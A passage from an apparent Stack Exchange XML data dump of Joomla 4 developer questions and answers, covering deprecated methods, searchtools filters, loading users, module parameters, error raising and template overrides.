Joomla\Event\Dispatcher-&amp;gt;dispatch('onContentPrepar...', Object(Joomla\Event\Event))&#xA;    #3 D:\xampp\htdocs\test-web\components\com_content\src\View\Featured\HtmlView.php(155): Joomla\CMS\Application\WebApplication-&amp;gt;triggerEvent('onContentPrepar...', Array)&#xA;    #4 D:\xampp\htdocs\test-web\libraries\src\Cache\Controller\ViewController.php(102): Joomla\Component\Content\Site\View\Featured\HtmlView-&amp;gt;display()&#xA;    #5 D:\xampp\htdocs\test-web\libraries\src\MVC\Controller\BaseController.php(683): Joomla\CMS\Cache\Controller\ViewController-&amp;gt;get(Object(Joomla\Component\Content\Site\View\Featured\HtmlView), 'display')&#xA;    #6 D:\xampp\htdocs\test-web\components\com_content\src\Controller\DisplayController.php(125): Joomla\CMS\MVC\Controller\BaseController-&amp;gt;display(true, Array)&#xA;    #7 D:\xampp\htdocs\test-web\libraries\src\MVC\Controller\BaseController.php(730): Joomla\Component\Content\Site\Controller\DisplayController-&amp;gt;display()&#xA;    #8 D:\xampp\htdocs\test-web\libraries\src\Dispatcher\ComponentDispatcher.php(146): Joomla\CMS\MVC\Controller\BaseController-&amp;gt;execute('display')&#xA;    #9 D:\xampp\htdocs\test-web\components\com_content\src\Dispatcher\Dispatcher.php(55): Joomla\CMS\Dispatcher\ComponentDispatcher-&amp;gt;dispatch()&#xA;    #10 D:\xampp\htdocs\test-web\libraries\src\Component\ComponentHelper.php(389): Joomla\Component\Content\Site\Dispatcher\Dispatcher-&amp;gt;dispatch()&#xA;    #11 D:\xampp\htdocs\test-web\libraries\src\Application\SiteApplication.php(206): Joomla\CMS\Component\ComponentHelper::renderComponent('com_content')&#xA;    #12 D:\xampp\htdocs\test-web\libraries\src\Application\SiteApplication.php(245): Joomla\CMS\Application\SiteApplication-&amp;gt;dispatch()&#xA;    #13 D:\xampp\htdocs\test-web\libraries\src\Application\CMSApplication.php(278): Joomla\CMS\Application\SiteApplication-&amp;gt;doExecute()&#xA;    #14 D:\xampp\htdocs\test-web\includes\app.php(63): Joomla\CMS\Application\CMSApplication-&amp;gt;execute()&#xA;    #15 D:\xampp\htdocs\test-web\index.php(32): require_once('D:\\xampp\\htdocs...')&#xA;    #16 {main}   &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;Additionally an error is displayed [&lt;a href=&quot;https://i.stack.imgur.com/FGtrg.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;on the main page&lt;/a&gt;]&lt;a href=&quot;https://i.stack.imgur.com/FGtrg.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;1&lt;/a&gt;:&lt;/p&gt;&#xA;&lt;blockquote&gt;&#xA;&lt;p&gt;Call to undefined method Joomla\CMS\Application\SiteApplication::isSite()&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&lt;p&gt;&lt;strong&gt;in D:\xampp\htdocs\lz-altstadt\plugins\content\edsanimate\edsanimate.php (line 44)&lt;/strong&gt;&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;private $globalOffset = 0;&#xA;&#xA;public function onContentPrepare($context, $article, $params, $limitstart)&#xA;{&#xA;    if (!JFactory::getApplication()-&amp;gt;isSite())&#xA;    {&#xA;        return;&#xA;    }&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;The weird thing is: I would say there is a bug in the plugin CMSPlugin or edsanimate, but I can not find plugins under this name. So I absolutely do not know where this error comes from.&lt;/p&gt;&#xA;" OwnerUserId="15920" LastEditorUserId="12352" LastEditDate="2021-11-23T23:34:58.880" LastActivityDate="2021-11-23T23:34:58.880" Title="Call to undefined method Joomla\CMS\Application\SiteApplication::isSite() in Joomla 4" Tags="|plugin|joomla-4.x|debug|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="31689" PostTypeId="1" AcceptedAnswerId="31690" CreationDate="2021-11-23T19:44:17.497" Score="0" ViewCount="405" Body="&lt;p&gt;I'm trying to render the joomla.searchtools in the front end of a custom component.&lt;/p&gt;&#xA;&lt;p&gt;I extended JModelList for my model, and I can see the list in the front end.&#xA;Pagination works well.&lt;/p&gt;&#xA;&lt;p&gt;But when in my template I add:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;    echo JLayoutHelper::render('joomla.searchtools.default',&#xA;        array('view' =&amp;gt; $this)&#xA;    );&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;I get an error message like this:&lt;/p&gt;&#xA;&lt;blockquote&gt;&#xA;&lt;p&gt;0 Call to a member function getGroup() on null&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&lt;p&gt;If I change the code above with:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;div class=&amp;quot;btn-wrapper input-append&amp;quot;&amp;gt;&#xA;    &amp;lt;input type=&amp;quot;text&amp;quot; name=&amp;quot;filter[search]&amp;quot; id=&amp;quot;filter_search&amp;quot; value=&amp;quot;&amp;quot; class=&amp;quot;js-stools-search-string&amp;quot; placeholder=&amp;quot;Search&amp;quot;&amp;gt;&#xA;    &amp;lt;button type=&amp;quot;submit&amp;quot; class=&amp;quot;btn hasTooltip&amp;quot; title=&amp;quot;&amp;quot; aria-label=&amp;quot;Search&amp;quot; data-original-title=&amp;quot;Search&amp;quot;&amp;gt;&#xA;        &amp;lt;span class=&amp;quot;icon-search&amp;quot; aria-hidden=&amp;quot;true&amp;quot;&amp;gt;&amp;lt;/span&amp;gt;&#xA;    &amp;lt;/button&amp;gt;&#xA;&amp;lt;/div&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;The search filter shows and works well.&lt;/p&gt;&#xA;&lt;p&gt;What have I forgotten?&lt;/p&gt;&#xA;" OwnerUserId="14871" LastActivityDate="2021-11-23T21:50:28.640" Title="How to render joomla.searchtools filters in the front end of a custom component?" Tags="|joomla-3.x|front-end|jlayout|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="31690" PostTypeId="2" ParentId="31689" CreationDate="2021-11-23T20:48:35.960" Score="2" Body="&lt;p&gt;I had forgotten two lines in the view:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;$this-&amp;gt;filterForm    = $this-&amp;gt;get('FilterForm');&#xA;$this-&amp;gt;activeFilters = $this-&amp;gt;get('ActiveFilters');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;If someone is interested, &lt;a href=&quot;https://github.com/framontb/JoomlaBasicExtensions&quot; rel=&quot;nofollow noreferrer&quot;&gt;here&lt;/a&gt; you can find a component example (com_buscador_site) that uses Joomla searchtools in Front End.&lt;/p&gt;&#xA;" OwnerUserId="14871" LastEditorUserId="14871" LastEditDate="2021-11-23T21:50:28.640" LastActivityDate="2021-11-23T21:50:28.640" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="31691" PostTypeId="2" ParentId="31688" CreationDate="2021-11-23T21:58:24.377" Score="0" Body="&lt;p&gt;isSite is no longer a valid method in Joomla 4 according to the comments in CMSApplication.php.&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt; @deprecated  4.0 Use isClient('site') instead.&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="13306" LastActivityDate="2021-11-23T21:58:24.377" CommentCount="3" ContentLicense="CC BY-SA 4.0" />
  <row Id="31692" PostTypeId="2" ParentId="15368" CreationDate="2021-11-24T05:42:13.710" Score="1" Body="&lt;p&gt;This may no have been available back then, but now I use two ways of loading users in Joomla.&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;Method 1: Load any user as an instance of the User class&lt;/strong&gt;&lt;/p&gt;&#xA;&lt;p&gt;Loading a user this way will simply store it in the variable and you can then use it for other things. This does not affect the current session and cannot make you login as a user.&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;$foo = JFactory::getUser(1234)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;&lt;strong&gt;Method 2: Load any user as currently logged in user&lt;/strong&gt;&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;JFactory::getUser()-&amp;gt;load(1234)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;After issuing this command, Joomla with see user 1234 as logged in. In fact, any subsequent call to &lt;code&gt;JFactory::getUser()&lt;/code&gt; will return an instance of the &lt;code&gt;User&lt;/code&gt; class for user id &lt;code&gt;1234&lt;/code&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;Edit&lt;/strong&gt;: If you are using this in a loop, it will help if you force Joomla to logout first by doing this ...&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;// First, logout ...&#xA;Factory::getApplication()-&amp;gt;logout()&#xA;// ... then load the account.&#xA;JFactory::getUser()-&amp;gt;load(1234)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;I have seen a case where the loop kept remembering the first loaded item. It's probably due to a race condition somewhere in Joomla.&lt;/p&gt;&#xA;" OwnerUserId="12210" LastEditorUserId="12210" LastEditDate="2021-11-26T14:42:16.537" LastActivityDate="2021-11-26T14:42:16.537" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="31693" PostTypeId="1" CreationDate="2021-11-24T15:17:11.993" Score="1" ViewCount="685" Body="&lt;p&gt;In Joomla 3, I get module params with this code:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;// Create the Application&#xA;$app = JFactory::getApplication('site');&#xA;&#xA;$module = JModuleHelper::getModule('mod_dev');&#xA;$presetParams = new JRegistry($module-&amp;gt;params);&#xA;&#xA;$fontSize = $presetParams['fontSize'];&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;In Joomla 4, I start with this code:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;// Boot the DI container.&#xA;$container = \Joomla\CMS\Factory::getContainer();&#xA;&#xA;// Alias the session service key to the web session service.&#xA;$container-&amp;gt;alias(\Joomla\Session\SessionInterface::class, 'session.web.site');&#xA;&#xA;// Get the application.&#xA;$app = $container-&amp;gt;get(\Joomla\CMS\Application\SiteApplication::class);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;but&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;$module = JModuleHelper::getModule('mod_dev');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;stopped working.&lt;/p&gt;&#xA;&lt;p&gt;How can I access module params from external php file using the Joomla framework?&lt;/p&gt;&#xA;" OwnerUserId="8554" LastEditorUserId="12352" LastEditDate="2021-11-24T22:17:34.680" LastActivityDate="2023-12-24T21:09:36.197" Title="Joomla 4 - get module params in external php" Tags="|joomla-api|joomla-4|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="31694" PostTypeId="2" ParentId="27888" CreationDate="2021-11-24T19:08:15.670" Score="2" Body="&lt;p&gt;The problem with Joomla is that there are just in-built fields connected to the following content types: Articles, Categories, Users, User Groups. There are also ones connected to banners and some other components, but are much less exposed than the aforementioned main content types.&lt;/p&gt;&#xA;&lt;p&gt;Joomla 4 (as James commented) does bring to the table the following: Custom fields and REST API. So even though I haven't tried REST API, I can tell you that custom fields are a little bit underwhelming (can be only connected to the 5 default content types, including the Contacts type) and templating is a little rough around edges. Field value is stored in table _fields_values with key-pair field_id item_id. Field types and useful classes can be found in this &lt;a href=&quot;https://api.joomla.org/cms-4/classes.svg&quot; rel=&quot;nofollow noreferrer&quot;&gt;diagram&lt;/a&gt;.&lt;/p&gt;&#xA;&lt;p&gt;There is also the option of fully fledged CCK such as &lt;a href=&quot;https://www.seblod.com/&quot; rel=&quot;nofollow noreferrer&quot;&gt;SEBLOD&lt;/a&gt;, which is unfortunately still in &lt;a href=&quot;https://github.com/Octopoos/SEBLOD/tree/4.0-dev&quot; rel=&quot;nofollow noreferrer&quot;&gt;beta (on GitHub)&lt;/a&gt; for Joomla 4. Having a CCK you can create any field you like, and have it stored in database as seblod(standard)/JSON storage format and article/user/custom content object &lt;a href=&quot;https://www.seblod.com/resources/manuals/advanced/understanding-the-storage&quot; rel=&quot;nofollow noreferrer&quot;&gt;(details about storage)&lt;/a&gt;. SEBLOD also gives the option to create custom content types, outside of the default A/C/U/UG types. Since Joomla exposes content managed by SEBLOD (component) through plugins, what remains to see is how well will it serve the custom content via REST API.&lt;/p&gt;&#xA;&lt;p&gt;As a bonus side, SEBLOD is quite capable for site CRUD operations. They even claim: &amp;quot;SEBLOD is an Application Builder and a Content Construction Kit.&#xA;It helps to create/manage custom online applications &amp;amp; full-featured websites.&amp;quot;&lt;/p&gt;&#xA;&lt;p&gt;I can only say that still 7/8 years later I return to it with pleasure knowing it will do even more than what's on the tin, and there is still a vibrant &lt;a href=&quot;https://www.seblod.com/community/forums&quot; rel=&quot;nofollow noreferrer&quot;&gt;community forum&lt;/a&gt; if need arise to look for a solution.&lt;/p&gt;&#xA;&lt;p&gt;All praise aside, I was not able to configure (beta) SEBLOD under Joomla 4.&lt;/p&gt;&#xA;&lt;p&gt;As you can notice I haven't mentioned Flutter since in that regard I consider myself a beginner, dipping my toes for the moment only in consuming other framework APIs (AliceApp) and Rive animations.&lt;/p&gt;&#xA;&lt;p&gt;As far as the original question go, James already gave most valuable insights. Since form is already working with user data, custom fields can be attached to user data type.&lt;/p&gt;&#xA;" OwnerUserId="15925" LastEditorUserId="15925" LastEditDate="2021-11-25T05:09:09.777" LastActivityDate="2021-11-25T05:09:09.777" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="31696" PostTypeId="1" AcceptedAnswerId="31697" CreationDate="2021-11-25T21:15:07.523" Score="9" ViewCount="1257" Body="&lt;p&gt;I'm working on updating a component for Joomla 4. In the code, there are various bits where we raise an error code when for example the user is not authorised to access a certain part. For example in pre-Joomla 4 the code we used is as follows:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;JError::raiseError(403, JText::_('JERROR_ALERTNOAUTHOR'));&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;Looking at various coding examples, I have seen different ways of raising the error in Joomla 4.&lt;/p&gt;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&#xA;&lt;pre&gt;&lt;code&gt;$app-&amp;gt;enqueueMessage(Text::_('JERROR_ALERTNOAUTHOR'), 'warning');&#xA;$app-&amp;gt;setHeader('status', 403, true);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;sometimes this example is without the second line in which the header is set.&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&#xA;&lt;pre&gt;&lt;code&gt;throw new NotAllowed(Text::_('JERROR_ALERTNOAUTHOR'), 403);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&#xA;&lt;pre&gt;&lt;code&gt;Log::add(Text::_('JERROR_ALERTNOAUTHOR'), Log::ERROR, 'jerror');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&#xA;&lt;pre&gt;&lt;code&gt;throw new \Exception(Text::_('JERROR_ALERTNOAUTHOR'), 403);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&lt;p&gt;I am interested in knowing of any other alternatives. Can anyone explain the difference between the examples I have given? What are the reasons for using one over another?&lt;/p&gt;&#xA;" OwnerUserId="5523" LastEditorUserId="5523" LastEditDate="2022-02-17T10:36:14.387" LastActivityDate="2022-02-17T10:36:14.387" Title="What is the best way for raising an error message in Joomla 4" Tags="|joomla-4|error-handling|error-reporting|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="31697" PostTypeId="2" ParentId="31696" CreationDate="2021-11-26T00:32:25.567" Score="8" Body="&lt;p&gt;In #1 the first line of the first method will output a message to the next page that is displayed to user after the processing has completed so this is a nice simple way to inform that user that they have an authorisation issue, it doesn't have to be a 403. You could do more processing and provide more meaningful messages that reflect the actual access issue. For example &amp;quot;You need to be logged in to view this page&amp;quot; or &amp;quot;you do not have the required access level to view this page&amp;quot;.&lt;/p&gt;&#xA;&lt;p&gt;The second line is making the issue a Html Error 403, which is optional and not required in my view if you still have control of the processing and can provide a meaningful application related error or message. There is also a conflict between issuing a 'warn' message with a 403 which should be an 'error' in my view.&lt;/p&gt;&#xA;&lt;p&gt;#2 example throws an exception message for a condition you are specifically looking for, a not authorised situation, and you want to stop further processing and access and produce a Html Error 403. Again if your authorisation issue is within your extension then I don't think a Html 403 error is appropriate unless you are trying to access some Html resource.&lt;/p&gt;&#xA;&lt;p&gt;#3 writes a message to the Log defined in the extension but does not show anything to the user. You would use this is cases where you want to record particular messages for diagnosis or auditing. It could be used in addition to any of the other examples to record what is happening, but a 403 is very generic and would be better to record more diagnostic and useful details.&lt;/p&gt;&#xA;&lt;p&gt;#4 Is another exception but for a situation that has occurred that you haven't prepared for, is unexpected, so it is a default catchall that will stop processing and in this example produce a 403 Html Error which may or may not be the correct error number to produce&lt;/p&gt;&#xA;&lt;p&gt;I would use #1, first line at least, in most cases and in particular if you want to inform the end user of the status, (success,Info,warn,error),of processing in your code.&lt;/p&gt;&#xA;&lt;p&gt;Next would be #2 where you want to stop processing because a condition that you have predicted might occur has been met that can't be dealt with in your code, but rarely will that be a Html 403&lt;/p&gt;&#xA;&lt;p&gt;And then #4 would be something you would see in places where there is potential for an authorisation issue to come back that you don't know what it will be and you want to play it safe and stop processing. A call to a database or API or some other processing that happens outside of your control where you are attempting to login or provide credentials are good candidates for this type of exception that might warrant a Html 403 but you would be better off reading up on exception handling and seeing if you can trap the message coming back from the external processing and reflect that message instead of a generic 403.&lt;/p&gt;&#xA;&lt;p&gt;#3 could be inserted before #1,#2 &amp;amp; #4 or after #1 if you want to record the issue.&lt;/p&gt;&#xA;" OwnerUserId="13306" LastEditorUserId="13306" LastEditDate="2021-11-26T10:09:43.973" LastActivityDate="2021-11-26T10:09:43.973" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="31698" PostTypeId="2" ParentId="31687" CreationDate="2021-11-26T17:35:30.830" Score="0" Body="&lt;p&gt;I cannot reproduce this problem in Joomla 4 or a new install of Joomla 3.10 with just pasting your text into the article body. I would suspect a plugin.&lt;/p&gt;&#xA;" OwnerUserId="7428" LastActivityDate="2021-11-26T17:35:30.830" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="31699" PostTypeId="2" ParentId="31686" CreationDate="2021-11-26T18:01:18.003" Score="1" Body="&lt;p&gt;The media manager does not handle svg images by default and they do carry security issues. You can upload an svg to your images folder by some other method and then you can use the image url with the Insert / Image editor button.&lt;/p&gt;&#xA;" OwnerUserId="7428" LastActivityDate="2021-11-26T18:01:18.003" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="31700" PostTypeId="2" ParentId="31683" CreationDate="2021-11-26T18:11:36.720" Score="1" Body="&lt;p&gt;In Joomla 4 (3 is likely the same) you create a html folder in the template and inside that you create override folders html/com_thingy/tmpl/default.php, or html/mod_thingy/tmpl/default.php, and variations on this pattern. These files are not affected by Joomla updates and can easily be added to multiple sites.&lt;/p&gt;&#xA;" OwnerUserId="7428" LastActivityDate="2021-11-26T18:11:36.720" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="31701" PostTypeId="2" ParentId="31664" CreationDate="2021-11-26T18:23:43.223" Score="1" Body="&lt;p&gt;The correct form of a url is index.php?option=com_thingy&amp;amp;task=function.controller&lt;/p&gt;&#xA;&lt;p&gt;For cron jobs try out the new CLI Console method - there are several examples on the Joomla 4 Tutorials page.&lt;/p&gt;&#xA;&lt;p&gt;&lt;a href=&quot;https://docs.joomla.org/JDOC:Joomla_4_Tutorials_Project&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://docs.joomla.org/JDOC:Joomla_4_Tutorials_Project&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="7428" LastActivityDate="2021-11-26T18:23:43.223" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="31702" PostTypeId="1" AcceptedAnswerId="31741" CreationDate="2021-11-27T05:42:51.917" Score="0" ViewCount="371" Body="&lt;p&gt;When creating custom layout overrides the PHP code&#xA;&lt;code&gt;&amp;lt;?php echo $this-&amp;gt;item-&amp;gt;jcfields[X]-&amp;gt;value; ?&amp;gt; &lt;/code&gt; Works successfully, but does not function at all when it comes to repeatable subform fields.&lt;/p&gt;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;What is the correct PHP to use to render subforms/repeatable fields on the frontend,&lt;/li&gt;&#xA;&lt;li&gt;Accordingly how would I edit my HTML in the override to account for how the subform will render?&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="15907" LastActivityDate="2021-12-09T01:26:10.220" Title="What is the correct PHP to render Subform repeatable custom fields on the front end?" Tags="|php|custom-field|joomla-4|subform|repeatable-field|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="31704" PostTypeId="1" AcceptedAnswerId="31708" CreationDate="2021-11-27T14:48:47.360" Score="1" ViewCount="239" Body="&lt;p&gt;I want Joomla to add a class like &amp;quot;loggedIn&amp;quot; to body classes, when a user is logged in the page, in order to use this class and make specific css changes for logged in and non-logged in users.&lt;/p&gt;&#xA;&lt;p&gt;I am using this jQuery to add a class to body but of course it missing the code to recognize if someone is logged in.&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;jQuery(function ($) {&#xA;$( 'body' ).addClass( 'my-style' );&#xA;});&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;I also use the code below as php:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;$user = JFactory::getUser();&#xA;$status = $user-&amp;gt;guest;&#xA;&#xA;if($status == 1){&#xA;//do user logged out stuff&#xA;&#xA;}&#xA;else&#xA;{&#xA;//do user logged in stuff&#xA;&#xA;}&#xA;?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;So in fact I want a combination of the above as jQuery&lt;/p&gt;&#xA;" OwnerUserId="2199" LastEditorUserId="12352" LastEditDate="2021-11-29T04:23:33.740" LastActivityDate="2021-11-29T12:35:50.170" Title="Add a class attribute to body tag when a user is logged in" Tags="|joomla-3.x|jquery|view|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="31705" PostTypeId="1" AcceptedAnswerId="31706" CreationDate="2021-11-28T06:12:53.203" Score="0" ViewCount="306" Body="&lt;p&gt;Please tell me what the problem may be. I adapt the component for Joomla 4. I get this error, although everything should work.&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;Class '....\Component\....\Administrator\Model\SimpleXMLElement' not found&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="13776" LastActivityDate="2021-11-28T06:15:30.227" Title="Joomla 4, Error: Class '...\Component\...\Administrator\Model\SimpleXMLElement' not found" Tags="|custom-component|joomla-4.x|xml|joomla-4|php7|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="31706" PostTypeId="2" ParentId="31705" CreationDate="2021-11-28T06:15:30.227" Score="0" Body="&lt;p&gt;The problem is solved. It was necessary to put a slash.&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;$elements = new \SimpleXMLElement($xml);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="13776" LastActivityDate="2021-11-28T06:15:30.227" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="31707" PostTypeId="1" CreationDate="2021-11-28T10:19:23.533" Score="1" ViewCount="17" Body="&lt;p&gt;When I switch off the Arcticle options in &lt;strong&gt;General Config &amp;gt; Article Layout &amp;gt; Article Options switch&lt;/strong&gt;  all tabs for my custom field group tabs are hidden as well. I don't want that.&lt;/p&gt;&#xA;&lt;p&gt;Is there a way to hide the tabs:&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;strong&gt;Options&lt;/strong&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;strong&gt;Blog Options&lt;/strong&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;p&gt;without affecting visibility of the others tabs?&lt;/p&gt;&#xA;&lt;p&gt;I have tried with below custom CSS, but that did not have any effect.&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;#myTab &amp;gt; div:nth-child(1) &amp;gt; button:nth-child(2),&#xA;#myTab &amp;gt; div:nth-child(1) &amp;gt; button:nth-child(3) {&#xA;    display: none;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;&lt;strong&gt;Environment:&lt;/strong&gt;&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Joomla 4.0.4&lt;/li&gt;&#xA;&lt;li&gt;TinyMCE&lt;/li&gt;&#xA;&lt;li&gt;Joomshaper SP Page Builder&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="15921" LastActivityDate="2021-11-28T10:19:23.533" Title="J4: General Config &gt; Article Layout &gt; Article Options switch: Switched to OFF also hides custom fields tabs" Tags="|com-content|" AnswerCount="0" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="31708" PostTypeId="2" ParentId="31704" CreationDate="2021-11-29T05:50:01.620" Score="1" Body="&lt;p&gt;You can use &lt;code&gt;addScriptDeclaration&lt;/code&gt; to add some custom Javascript to the buffer, like so:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;&#xA;if (\Joomla\CMS\Factory::getUser()-&amp;gt;guest === 0)&#xA;{&#xA;    \Joomla\CMS\Factory::getDocument()-&amp;gt;addScriptDeclaration(&amp;quot;&#xA;        document.addEventListener('DOMContentLoaded', () =&amp;gt; {&#xA;            document.body.classList.add('loggedIn')&#xA;        });&#xA;    &amp;quot;);&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;Also note that I've used vanilla JS, as you don't need jQuery to add a class.&lt;/p&gt;&#xA;" OwnerUserId="168" LastEditorUserId="168" LastEditDate="2021-11-29T12:35:50.170" LastActivityDate="2021-11-29T12:35:50.170" CommentCount="13" ContentLicense="CC BY-SA 4.0" />
  <row Id="31709" PostTypeId="1" AcceptedAnswerId="31710" CreationDate="2021-11-29T12:32:13.510" Score="1" ViewCount="1204" Body="&lt;p&gt;I am adapting the component to the new structure and classes of joomla 4. I started with the admin panel of my component. The list and the edit page are displayed without errors, but when I try to use any toolbar buttons, I get a message.&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;Call to a member function getTable() on bool&#xA;&#xA;Call stack&#xA;#   Function --- Location&#xA;1   () --- JROOT/libraries/src/MVC/Controller/FormController.php:307&#xA;2   Joomla\CMS\MVC\Controller\FormController-&amp;gt;cancel() ---JROOT/libraries/src/MVC/Controller/BaseController.php:730&#xA;3   Joomla\CMS\MVC\Controller\BaseController-&amp;gt;execute() --- JROOT/libraries/src/Dispatcher/ComponentDispatcher.php:146&#xA;4   Joomla\CMS\Dispatcher\ComponentDispatcher-&amp;gt;dispatch() ---JROOT/libraries/src/Component/ComponentHelper.php:389&#xA;5   Joomla\CMS\Component\ComponentHelper::renderComponent() --- JROOT/libraries/src/Application/AdministratorApplication.php:143&#xA;6   Joomla\CMS\Application\AdministratorApplication-&amp;gt;dispatch() --- JROOT/libraries/src/Application/AdministratorApplication.php:186&#xA;7   Joomla\CMS\Application\AdministratorApplication-&amp;gt;doExecute() --- JROOT/libraries/src/Application/CMSApplication.php:278&#xA;8   Joomla\CMS\Application\CMSApplication-&amp;gt;execute() --- JROOT/administrator/includes/app.php:63&#xA;9   require_once() --- JROOT/administrator/index.php:32&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;The controller is triggered, so is the model. The model has a getTable() function. Theoretically, everything works, but when 'save', 'closing', or 'save and close', I get the same error. At the same time, the chain of methods does not reach the component model.&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;JROOT/libraries/src/MVC/Controller/FormController&lt;/strong&gt; has no access (or connection) to my model.&lt;br&gt;The path to the model is &lt;strong&gt;administrator/components/com_mycom/src/Model/NameModel.php&lt;/strong&gt;. I don't understand what the reason is.&lt;/p&gt;&#xA;" OwnerUserId="13776" LastEditorUserId="12352" LastEditDate="2021-11-30T02:48:52.263" LastActivityDate="2021-11-30T02:48:52.263" Title="Joomla 4. Call to a member function getTable() on bool" Tags="|component|administrator|joomla-4|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
